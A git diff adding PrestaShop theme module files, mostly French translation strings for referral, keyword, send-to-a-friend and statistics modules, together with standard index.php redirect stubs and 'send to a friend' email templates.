+$_MODULE['<{referralprogram}prestashop>referralprogram_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{referralprogram}prestashop>referralprogram_7ca3288a38b048b0df25394ccc22ad46'] = 'Nombre minimum de commandes qu\'un filleul doit passer afin de recevoir son bon de réduction :'; +$_MODULE['<{referralprogram}prestashop>referralprogram_624f983eb0713e10faf35ff3889e8d68'] = 'Nombre de filleuls dans le formulaire d\'invitation pour parrainage (compte client, section parrainage) :'; +$_MODULE['<{referralprogram}prestashop>referralprogram_9ad4f790c8bb9be21a2fa388c7730353'] = 'Type de bon :'; +$_MODULE['<{referralprogram}prestashop>referralprogram_46da7ad7d01e209241016d308f9fafce'] = 'Bon de réduction avec un pourcentage'; +$_MODULE['<{referralprogram}prestashop>referralprogram_97839379a0f447599405341b852e2e24'] = 'Bon de réduction avec un montant (par devise)'; +$_MODULE['<{referralprogram}prestashop>referralprogram_3d5a011fdba2979f8d0ffd30b9f5c6ba'] = 'Pourcentage :'; +$_MODULE['<{referralprogram}prestashop>referralprogram_386c339d37e737a436499d423a77df0c'] = 'Devise'; +$_MODULE['<{referralprogram}prestashop>referralprogram_edf7f0a17b8a8f1732f12856fcbc8a6b'] = 'Montant du bon de réduction'; +$_MODULE['<{referralprogram}prestashop>referralprogram_8465d83b5c1b569299af284c14d957bb'] = 'Description du bon :'; +$_MODULE['<{referralprogram}prestashop>referralprogram_b17f3f4dcf653a5776792498a9b44d6a'] = 'Mettre à jour les paramètres'; +$_MODULE['<{referralprogram}prestashop>referralprogram_562ad64cf21ac2da656134355115133d'] = 'Vous devez spécifier un texte.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_6b719c160f9b08dad4760bcc4b52ed48'] = 'Conditions du programme de parrainage'; +$_MODULE['<{referralprogram}prestashop>referralprogram_c5afb9c76a7880978cba32872d01f068'] = 'Mise à jour du texte'; +$_MODULE['<{referralprogram}prestashop>referralprogram_94c69408d25102ba7ddcf3533b56c407'] = 'L\'objet Client est incorrecte.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_6b31baf25848e7a6563ecc3946626c80'] = 'Programme de parrainage'; +$_MODULE['<{referralprogram}prestashop>referralprogram_7790d51a3d62c85aae65464dee12ee8b'] = 'Parrain du client :'; +$_MODULE['<{referralprogram}prestashop>referralprogram_f964f762284ede747ed9f6428a5469b8'] = 'Ce client n\'a aucun parrain.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_53d0d7aba39ee971f7f179e6e1092708'] = 'Filleuls :'; +$_MODULE['<{referralprogram}prestashop>referralprogram_58dc82d3e2e17ced0225064a9b496ee9'] = 'Filleul :'; +$_MODULE['<{referralprogram}prestashop>referralprogram_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{referralprogram}prestashop>referralprogram_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{referralprogram}prestashop>referralprogram_ce8ae9da5b7cd6c3df2929543a9af92d'] = 'Mail'; +$_MODULE['<{referralprogram}prestashop>referralprogram_22ffd0379431f3b615eb8292f6c31d12'] = 'Date d\'enregistrement'; +$_MODULE['<{referralprogram}prestashop>referralprogram_325c8bbd07033a39d25b5c4457f79861'] = 'Clients parrainés par ce filleul'; +$_MODULE['<{referralprogram}prestashop>referralprogram_fc6e0920b914b164802d44220e6163f3'] = 'Nombre de commandes effectuées'; +$_MODULE['<{referralprogram}prestashop>referralprogram_970ad4e4787cc75cd63dbf8d5c757513'] = 'Compte client créé'; +$_MODULE['<{referralprogram}prestashop>referralprogram_0b820748c24b934a6acdb881169eb81f'] = '%1$s %2$s n\'a parrainé aucun filleul pour le moment.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_a82e0d057f443115e807bd6ca595fc8c'] = 'L\'objet Commande est incorrecte.'; +$_MODULE['<{referralprogram}prestashop>referralprogram_8b80d4b6307990874b832cc15a92e5a3'] = 'Certain paramètres sont manquants.'; +$_MODULE['<{referralprogram}prestashop>program_d3d2e617335f08df83599665eef8a418'] = 'Fermer'; +$_MODULE['<{referralprogram}prestashop>program_7a81aa9275331bb0f5e6adb5e8650a03'] = 'ou Échap.'; +$_MODULE['<{referralprogram}prestashop>program_d95cf4ab2cbf1dfb63f066b50558b07d'] = 'Mon compte'; +$_MODULE['<{referralprogram}prestashop>program_6540b502e953f4c05abeb8f234cd50bf'] = 'Programme de parrainage'; +$_MODULE['<{referralprogram}prestashop>program_6b31baf25848e7a6563ecc3946626c80'] = 'Programme de parrainage'; +$_MODULE['<{referralprogram}prestashop>program_dbc65cd60abde51277c2881ce915a225'] = 'Vous devez accepter les conditions du programme !'; +$_MODULE['<{referralprogram}prestashop>program_83fc792f687bc45d75ac35c84c721a26'] = 'Une ou plusieurs adresses e-mail sont incorrectes !'; +$_MODULE['<{referralprogram}prestashop>program_1019072b9e450c8652590cda2db45e49'] = 'Un ou plusieurs noms ou prénoms sont incorrects !'; +$_MODULE['<{referralprogram}prestashop>program_ff2d2e45b90b4426c3bb14bd56b95a2d'] = 'Quelqu\'un avec cette adresse e-mail est déjà enregistré !'; +$_MODULE['<{referralprogram}prestashop>program_3f8a4c7f93945fea0d951fa402ee4272'] = 'Veuillez cocher au moins une case'; +$_MODULE['<{referralprogram}prestashop>program_dcc99d8715486f570db3ec5ee469a828'] = 'Impossible d\'ajouter des amis à la base de données'; +$_MODULE['<{referralprogram}prestashop>program_f6cb78f0afcf7c3a06048a7a5855d6a1'] = 'Des e-mails ont été envoyés à vos amis !'; +$_MODULE['<{referralprogram}prestashop>program_79cd362fc64832faa0a2079f1142aa12'] = 'Un e-mail a été envoyé à votre amis !'; +$_MODULE['<{referralprogram}prestashop>program_2b90ca4a7b1c83e0a3bb65899725cd65'] = 'Des e-mails de rappel ont été envoyés à vos amis !'; +$_MODULE['<{referralprogram}prestashop>program_819e52b3c6ca4db131dcfea19188a0c3'] = 'Un e-mail de rappel a été envoyé à votre ami !'; +$_MODULE['<{referralprogram}prestashop>program_46ee2fe8845962d24bf5178a26e109f3'] = 'Parrainer mes amis'; +$_MODULE['<{referralprogram}prestashop>program_c56567bc42584de1a7ac430039b3a87e'] = 'Amis en attente'; +$_MODULE['<{referralprogram}prestashop>program_58c7f2542ab2e2c3e4e39e851ea0f225'] = 'Mes amis parrainés'; +$_MODULE['<{referralprogram}prestashop>program_07b0f879b9bf9ec028d99df3880922f9'] = 'Obtenir un bon de réduction de %d pour vous et vos amis en recommandant notre boutique.'; +$_MODULE['<{referralprogram}prestashop>program_8d3ae82bfa996855cdf841dd9e15a7e3'] = 'C\'est rapide et facile. Il suffit de remplir les noms, prénoms et adresses e-mails de vos amis dans les champs ci-dessous.'; +$_MODULE['<{referralprogram}prestashop>program_c92182a305ac874bae5e54d75bbd9327'] = 'Quand l\'un d\'entre eux passera au moins %d commandes.'; +$_MODULE['<{referralprogram}prestashop>program_6e8dedb6b5dcad23e24d07c10aff29d8'] = 'Quand l\'un d\'entre eux passera au moins %d commande.'; +$_MODULE['<{referralprogram}prestashop>program_3aa40545dad78313e27017aa28c6cb7d'] = 'Il/Elle recevra un bon de réduction de %1$d et vous de même %2$d.'; +$_MODULE['<{referralprogram}prestashop>program_8d3f5eff9c40ee315d452392bed5309b'] = 'Nom'; +$_MODULE['<{referralprogram}prestashop>program_20db0bfeecd8fe60533206a2b5e9891a'] = 'Prénom'; +$_MODULE['<{referralprogram}prestashop>program_1e884e3078d9978e216a027ecd57fb34'] = 'E-mail'; +$_MODULE['<{referralprogram}prestashop>program_9386de858384e7f790a28beecdb986dd'] = 'Important : les e-mails de vos amis ne seront jamais utilisés à des fins autres que celles de notre programme.'; +$_MODULE['<{referralprogram}prestashop>program_605eef3cad421619ce034ab48415190f'] = 'J\'ai lu les conditions d\'utilisation et j\'y adhère sans réserves.'; +$_MODULE['<{referralprogram}prestashop>program_6b719c160f9b08dad4760bcc4b52ed48'] = 'Conditions du programme de parrainage'; +$_MODULE['<{referralprogram}prestashop>program_868ca5fe643791c23b47c75fb833c9b8'] = 'Lisez les conditions.'; +$_MODULE['<{referralprogram}prestashop>program_31fde7b05ac8952dacf4af8a704074ec'] = 'Visualisez'; +$_MODULE['<{referralprogram}prestashop>program_8e8dc296c6bf3876468aa028974bfebe'] = 'E-mail d\'invitation'; +$_MODULE['<{referralprogram}prestashop>program_a86073a0c3b0bebf11bd807caf8e505a'] = 'l\'e-mail par défaut'; +$_MODULE['<{referralprogram}prestashop>program_7532696b81dfc0b94a37e876677152c5'] = 'qui sera envoyé à vos amis.'; +$_MODULE['<{referralprogram}prestashop>program_ad3d06d03d94223fa652babc913de686'] = 'Valider'; +$_MODULE['<{referralprogram}prestashop>program_59352cd5314a67c0fb10c964831920f3'] = 'Pour parrainer vos amis, vous devez finaliser au moins'; +$_MODULE['<{referralprogram}prestashop>program_12c500ed0b7879105fb46af0f246be87'] = 'commandes'; +$_MODULE['<{referralprogram}prestashop>program_70a17ffa722a3985b86d30b034ad06d7'] = 'commande'; +$_MODULE['<{referralprogram}prestashop>program_ec7342814444c667ab93181b30b28e38'] = 'Ces amis parrainés n\'ont pas encore effectué d\'achat, mais vous pouvez les relancer ! Pour ce faire, vous devez cocher les cases des amis que vous voulez relancer, puis cliquer sur le bouton \"Relancer mes amis\"'; +$_MODULE['<{referralprogram}prestashop>program_3e717a04ff77cd5fa068d8ad9d3facc8'] = 'Dernière invitation'; +$_MODULE['<{referralprogram}prestashop>program_9c9d4ed270f02c72124702edb192ff19'] = 'Relancer mes amis'; +$_MODULE['<{referralprogram}prestashop>program_8b9f390369560635a2ba5ba271d953df'] = 'Vous n\'avez pas encore parrainé d\'ami.'; +$_MODULE['<{referralprogram}prestashop>program_193f3d8bbaceba40499cab1a3545e9e8'] = 'Ici sont affichés les amis qui ont accepté votre invitation :'; +$_MODULE['<{referralprogram}prestashop>program_3c648ba41cfb45f13b083a9cbbacdfdf'] = 'Date d\'inscription'; +$_MODULE['<{referralprogram}prestashop>program_8d4e5c2bc4c3cf67d2b59b263a707cb6'] = 'Aucun ami n\'a encore accepté votre invitation.'; +$_MODULE['<{referralprogram}prestashop>program_0b3db27bc15f682e92ff250ebb167d4b'] = 'Retour à votre compte'; +$_MODULE['<{referralprogram}prestashop>program_8cf04a9734132302f96da8e113e80ce5'] = 'Accueil'; +$_MODULE['<{referralprogram}prestashop>rules_01705c0177ebf5fbcbf4e882bc454405'] = 'Conditions du programme de parrainage'; +$_MODULE['<{referralprogram}prestashop>authentication_6b31baf25848e7a6563ecc3946626c80'] = 'Programme de parrainage'; +$_MODULE['<{referralprogram}prestashop>authentication_8fdb2298a0db461ac64e71192a562ca1'] = 'Adresse mail de votre parrain'; +$_MODULE['<{referralprogram}prestashop>my-account_6b31baf25848e7a6563ecc3946626c80'] = 'Parrainage'; +$_MODULE['<{referralprogram}prestashop>order-confirmation_f2ef523efa8d23f8afc29e195592fc58'] = 'Grâce à votre commande, votre parrain %1$s %2$s gagnera un bon de réduction d\'une valeur de %3$d quand cette commande sera confirmée.'; +$_MODULE['<{referralprogram}prestashop>shopping-cart_6b31baf25848e7a6563ecc3946626c80'] = 'Programme de parrainage'; +$_MODULE['<{referralprogram}prestashop>shopping-cart_b76b807810393d9fce7f154d82aef1d1'] = 'Vous avez gagné un bon de réduction d\'une valeur de %s grâce à votre parrain !'; +$_MODULE['<{referralprogram}prestashop>shopping-cart_9a5b602be8d9b2d4b8c3f22911fba01d'] = 'Saisissez le nom du bon %s pour profiter de la réduction sur cette commande.'; +$_MODULE['<{referralprogram}prestashop>shopping-cart_106527986549f3ec8da1ae5a7abde467'] = 'Voir votre programme de parrainage.'; diff --git a/themes/default/modules/referralprogram/translations/index.php b/themes/default/modules/referralprogram/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/themes/default/modules/referralprogram/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/sekeywords/translations/en.php b/themes/default/modules/sekeywords/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/sekeywords/translations/fr.php b/themes/default/modules/sekeywords/translations/fr.php new file mode 100755 index 0000000..66ddd2c --- /dev/null +++ b/themes/default/modules/sekeywords/translations/fr.php @@ -0,0 +1,25 @@ +sekeywords_65b0b42febc8ea16db4652eab6f420a4'] = 'Mots-clés'; +$_MODULE['<{sekeywords}default>sekeywords_de13be6263895a5efe4d51e15ab1535e'] = 'Affiche les mots-clés qui ont mené les visiteurs jusqu\'à votre boutique.'; +$_MODULE['<{sekeywords}default>sekeywords_16d5f8dc3bc4411c85848ae9cf6a947a'] = '%d mot-clé trouvé pour votre recherche.'; +$_MODULE['<{sekeywords}default>sekeywords_5029f8eef402bb8ddd6191dffb5e7c19'] = '%d mots-clés trouvés pour votre recherche.'; +$_MODULE['<{sekeywords}default>sekeywords_867343577fa1f33caa632a19543bd252'] = 'Mots-clés'; +$_MODULE['<{sekeywords}default>sekeywords_e52e6aa1a43a0187e44f048f658db5f9'] = 'Occurences'; +$_MODULE['<{sekeywords}default>sekeywords_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{sekeywords}default>sekeywords_0849140171616600e8f2c35f0a225212'] = 'Filter par mot-clé'; +$_MODULE['<{sekeywords}default>sekeywords_6e632566b6e16dbd2273e83d7c53182b'] = 'et minimum d\'occurrences'; +$_MODULE['<{sekeywords}default>sekeywords_fa73b7cd0d2681f6d871c9ef4023ad39'] = 'Appliquer'; +$_MODULE['<{sekeywords}default>sekeywords_7b48f6cc4a1dde7fca9597e717c2465f'] = 'Aucun mot-clé'; +$_MODULE['<{sekeywords}default>sekeywords_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{sekeywords}default>sekeywords_9ed50bd6876a9273f2192c224b87657b'] = 'Identifier les mots-clés par moteurs de recherche externes'; +$_MODULE['<{sekeywords}default>sekeywords_6534eadba477de8a632ff59ac20b572f'] = 'Une des façons les plus courantes de trouver un site web grâce à un moteur de recherche.'; +$_MODULE['<{sekeywords}default>sekeywords_0d7ce5d105706cedba41887d3f1c0ea1'] = 'Identifier les mots clés les plus populaires saisies par vos nouveaux visiteurs vous permet de voir quels produits vous devriez mettre en avant si vous voulez attirer plus de visiteurs et clients potentiels.'; +$_MODULE['<{sekeywords}default>sekeywords_359f9e79e746fa9f684e5cda9e60ca2e'] = 'Comment ça marche ?'; +$_MODULE['<{sekeywords}default>sekeywords_722e091cccbd9a9ec8f4a35bf1f35893'] = 'Quand un visiteur vient sur votre site web, le serveur récupère leur emplacement précédent. Ce module analyse l\'URL et trouve les mots-clés en elle.'; +$_MODULE['<{sekeywords}default>sekeywords_d8b08c48a8d8e739399594adec89458a'] = 'Actuellement, il gère les moteurs de recherche suivants: %1$s et %2$s.'; +$_MODULE['<{sekeywords}default>sekeywords_50dca930b804e845a852512b44d51c52'] = 'Bientôt il sera possible d\'ajouter dynamiquement de nouveaux moteurs de recherche à cette liste, et ainsi contribuer au développement du module !'; +$_MODULE['<{sekeywords}default>sekeywords_e15832aa200f342e8f4ab580b43a72a8'] = '10 premiers mots-clés'; +$_MODULE['<{sekeywords}default>sekeywords_52ef9633d88a7480b3a938ff9eaa2a25'] = 'Autres'; diff --git a/themes/default/modules/sendtoafriend/index.php b/themes/default/modules/sendtoafriend/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/themes/default/modules/sendtoafriend/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/sendtoafriend/mails/en/index.php b/themes/default/modules/sendtoafriend/mails/en/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/themes/default/modules/sendtoafriend/mails/en/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/sendtoafriend/mails/en/send_to_a_friend.html b/themes/default/modules/sendtoafriend/mails/en/send_to_a_friend.html new file mode 100755 index 0000000..464e277 --- /dev/null +++ b/themes/default/modules/sendtoafriend/mails/en/send_to_a_friend.html @@ -0,0 +1,40 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hi {name},
         
        {customer} has sent you a link to a product that (s)he thinks may interest you.
         
        Click here to view this item: {product}
         
        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/sendtoafriend/mails/en/send_to_a_friend.txt b/themes/default/modules/sendtoafriend/mails/en/send_to_a_friend.txt new file mode 100755 index 0000000..6ee66b5 --- /dev/null +++ b/themes/default/modules/sendtoafriend/mails/en/send_to_a_friend.txt @@ -0,0 +1,13 @@ +Hi {name}, + + +{customer} has sent you a link to a product that (s)he thinks may interest you. + +{product}: {product_link} + + +{shop_name} - {shop_url} + + + +{shop_url} powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/themes/default/modules/sendtoafriend/mails/fr/send_to_a_friend.html b/themes/default/modules/sendtoafriend/mails/fr/send_to_a_friend.html new file mode 100755 index 0000000..4f5aa12 --- /dev/null +++ b/themes/default/modules/sendtoafriend/mails/fr/send_to_a_friend.html @@ -0,0 +1,40 @@ + + + + + Message depuis {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Bonjour {name},
         
        {customer} vous envoie un lien vers un produit qui pourrait vous intéresser.
         
        Il s'agit de {product}
         
        {shop_name} réalisé avec PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/sendtoafriend/mails/fr/send_to_a_friend.txt b/themes/default/modules/sendtoafriend/mails/fr/send_to_a_friend.txt new file mode 100755 index 0000000..9d1fd46 --- /dev/null +++ b/themes/default/modules/sendtoafriend/mails/fr/send_to_a_friend.txt @@ -0,0 +1,13 @@ +Bonjour {name}, + + +{customer} vous envoie un lien vers un produit qui pourrait vous intéresser. + +Il s'agit de {product} : {product_link} + + +{shop_name} - {shop_url} + + + +{shop_url} réalisé avec PrestaShop™ \ No newline at end of file diff --git a/themes/default/modules/sendtoafriend/mails/index.php b/themes/default/modules/sendtoafriend/mails/index.php new file mode 100755 index 0000000..6f5ff3b --- /dev/null +++ b/themes/default/modules/sendtoafriend/mails/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/sendtoafriend/translations/fr.php b/themes/default/modules/sendtoafriend/translations/fr.php new file mode 100755 index 0000000..21b108a --- /dev/null +++ b/themes/default/modules/sendtoafriend/translations/fr.php @@ -0,0 +1,25 @@ +product_page_2107f6398c37b4b9ee1e1b5afb5d3b2a'] = 'Envoyer à un ami'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_ajax_22c4733a9ceb239bf825a0cecd1cfaec'] = 'Un ami'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend-extra_d1f092e79827eaffce4a33fa011fde24'] = 'Vous n\'avez pas rempli les champs requis'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend-extra_2107f6398c37b4b9ee1e1b5afb5d3b2a'] = 'Envoyer à un ami'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend-extra_5d6103b662f41b07e10687f03aca8fdc'] = 'Destinataire'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend-extra_bb6aa0be8236a10e6d3b315ebd5f2547'] = 'Nom de votre ami'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend-extra_099bc8914b5be9e522a29e48cb3c01c4'] = 'Adresse e-mail de votre ami'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend-extra_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend-extra_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend-extra_e81c4e4f2b7b93b481e13a8553c2ae1b'] = 'ou'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend-extra_94966d90747b97d1f0f206c98a8b1ac3'] = 'Envoyer'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_2074615eb70699e55b1f9289c6c77c25'] = 'Envoyer à un ami'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_3234e2609dd694d8763c390fe97eba04'] = 'Permet à vos clients d\'envoyer des liens à leurs amis.'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_2107f6398c37b4b9ee1e1b5afb5d3b2a'] = 'Envoyer à un ami'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_20589174124c25654cac3736e737d2a3'] = 'Envoyer la page à un ami qui pourrait être intéressé par le produit ci-dessous.'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_b31afdfa73c89b567778f15180c2dd6c'] = 'Votre e-mail a bien été envoyé'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_e55de03786f359e2b133f2a74612eba6'] = 'Nom de votre ami :'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_19f41c3d6db934fb2db1840ddefd2c51'] = 'Email de votre ami :'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_2541d938b0a58946090d7abdde0d3890'] = 'envoyer'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_68728c1897e5936032fe21ffb6b10c2e'] = 'Retour à la fiche produit'; diff --git a/themes/default/modules/sendtoafriend/translations/index.php b/themes/default/modules/sendtoafriend/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/themes/default/modules/sendtoafriend/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/statsbestcategories/translations/en.php b/themes/default/modules/statsbestcategories/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/statsbestcategories/translations/fr.php b/themes/default/modules/statsbestcategories/translations/fr.php new file mode 100755 index 0000000..23924b1 --- /dev/null +++ b/themes/default/modules/statsbestcategories/translations/fr.php @@ -0,0 +1,13 @@ +statsbestcategories_4f29d8c727dcf2022ac241cb96c31083'] = 'Aucun résultat'; +$_MODULE['<{statsbestcategories}default>statsbestcategories_f5c493141bb4b2508c5938fd9353291a'] = 'Affichage de %1$s de %2$s'; +$_MODULE['<{statsbestcategories}default>statsbestcategories_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statsbestcategories}default>statsbestcategories_eebfd2d9a7ea25b9e61e8260bcd4849c'] = 'Quantité totale vendue'; +$_MODULE['<{statsbestcategories}default>statsbestcategories_f3547ae5e06426d87312eff7dda775aa'] = 'Prix total vendu'; +$_MODULE['<{statsbestcategories}default>statsbestcategories_c13329e42ec01a10f84c0f950274b404'] = 'Total consulté'; +$_MODULE['<{statsbestcategories}default>statsbestcategories_6e3b3150807da868ebd33ad2c991b8d7'] = 'Meilleures catégories'; +$_MODULE['<{statsbestcategories}default>statsbestcategories_a2e1fa19a6a3405a4e82cb5daa66310d'] = 'Liste des meilleures catégories'; +$_MODULE['<{statsbestcategories}default>statsbestcategories_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; diff --git a/themes/default/modules/statsbestcustomers/translations/en.php b/themes/default/modules/statsbestcustomers/translations/en.php new file mode 100755 index 0000000..4a2421c --- /dev/null +++ b/themes/default/modules/statsbestcustomers/translations/en.php @@ -0,0 +1,5 @@ +statsbestcustomers_cb21e843b037359d0fb5b793fccf964f'] = 'Develop clients\' loyalty'; diff --git a/themes/default/modules/statsbestcustomers/translations/fr.php b/themes/default/modules/statsbestcustomers/translations/fr.php new file mode 100755 index 0000000..74f72b9 --- /dev/null +++ b/themes/default/modules/statsbestcustomers/translations/fr.php @@ -0,0 +1,20 @@ +statsbestcustomers_4f29d8c727dcf2022ac241cb96c31083'] = 'Aucun résultat'; +$_MODULE['<{statsbestcustomers}default>statsbestcustomers_f5c493141bb4b2508c5938fd9353291a'] = 'Affichage de %1$s de %2$s'; +$_MODULE['<{statsbestcustomers}default>statsbestcustomers_77587239bf4c54ea493c7033e1dbf636'] = 'Nom'; +$_MODULE['<{statsbestcustomers}default>statsbestcustomers_bc910f8bdf70f29374f496f05be0330c'] = 'Prénom'; +$_MODULE['<{statsbestcustomers}default>statsbestcustomers_ce8ae9da5b7cd6c3df2929543a9af92d'] = 'E-mail'; +$_MODULE['<{statsbestcustomers}default>statsbestcustomers_d7e637a6e9ff116de2fa89551240a94d'] = 'Visites'; +$_MODULE['<{statsbestcustomers}default>statsbestcustomers_1ff1b62d08d1195f073c6adac00f1894'] = 'Argent dépensé'; +$_MODULE['<{statsbestcustomers}default>statsbestcustomers_8b83489bd116cb60e2f348e9c63cd7f6'] = 'Meilleurs clients'; +$_MODULE['<{statsbestcustomers}default>statsbestcustomers_ca5c7eec61c59f2bd4572d1c5f34b10a'] = 'Classement des meilleurs clients'; +$_MODULE['<{statsbestcustomers}default>statsbestcustomers_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statsbestcustomers}default>statsbestcustomers_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{statsbestcustomers}default>statsbestcustomers_cb21e843b037359d0fb5b793fccf964f'] = 'Fidéliser les clients'; +$_MODULE['<{statsbestcustomers}default>statsbestcustomers_0c854a411bcae590a2a44a9b18487d12'] = 'Garder un client est plus rentable que d’en conquérir un nouveau. Il est donc impératif de le fidéliser, c\'est-à-dire de lui donner envie de revenir sur votre boutique.'; +$_MODULE['<{statsbestcustomers}default>statsbestcustomers_197bad7ad08abfd1dc45ab92f96f155d'] = 'Le bouche à oreille est également un moyen d\'avoir de nouveaux clients satisfaits ; car un client mécontent n\'en attirera pas de nouveaux.'; +$_MODULE['<{statsbestcustomers}default>statsbestcustomers_860b64638db92a2d084e4e5182b20f31'] = 'Pour y parvenir, plusieurs moyens existent :'; +$_MODULE['<{statsbestcustomers}default>statsbestcustomers_99666939cbe5b9f120bb5a5050abda66'] = 'Ces opérations incitent non seulement le client à acheter, mais aussi à revenir régulièrement sur votre boutique.'; diff --git a/themes/default/modules/statsbestproducts/translations/en.php b/themes/default/modules/statsbestproducts/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/statsbestproducts/translations/fr.php b/themes/default/modules/statsbestproducts/translations/fr.php new file mode 100755 index 0000000..4f000ee --- /dev/null +++ b/themes/default/modules/statsbestproducts/translations/fr.php @@ -0,0 +1,17 @@ +statsbestproducts_8c4d7af5f578693f9a6cf391e912ee33'] = 'Aucun résultat'; +$_MODULE['<{statsbestproducts}default>statsbestproducts_f5c493141bb4b2508c5938fd9353291a'] = 'Affichage de %1$s de %2$s'; +$_MODULE['<{statsbestproducts}default>statsbestproducts_12d3c7a4296542c62474856ec452c045'] = 'Réf.'; +$_MODULE['<{statsbestproducts}default>statsbestproducts_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statsbestproducts}default>statsbestproducts_2a0440eec72540c5b30d9199c01f348c'] = 'Qté vendue'; +$_MODULE['<{statsbestproducts}default>statsbestproducts_6771f2d557a34bd89ea7abc92a0a069c'] = 'Prix de vente'; +$_MODULE['<{statsbestproducts}default>statsbestproducts_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'Ventes'; +$_MODULE['<{statsbestproducts}default>statsbestproducts_96e887520933606d3928a4ae164fe5e5'] = 'Qté vendue / jour'; +$_MODULE['<{statsbestproducts}default>statsbestproducts_7664a37e0cc56aaf39aebf2edbd3f98e'] = 'Pages vues'; 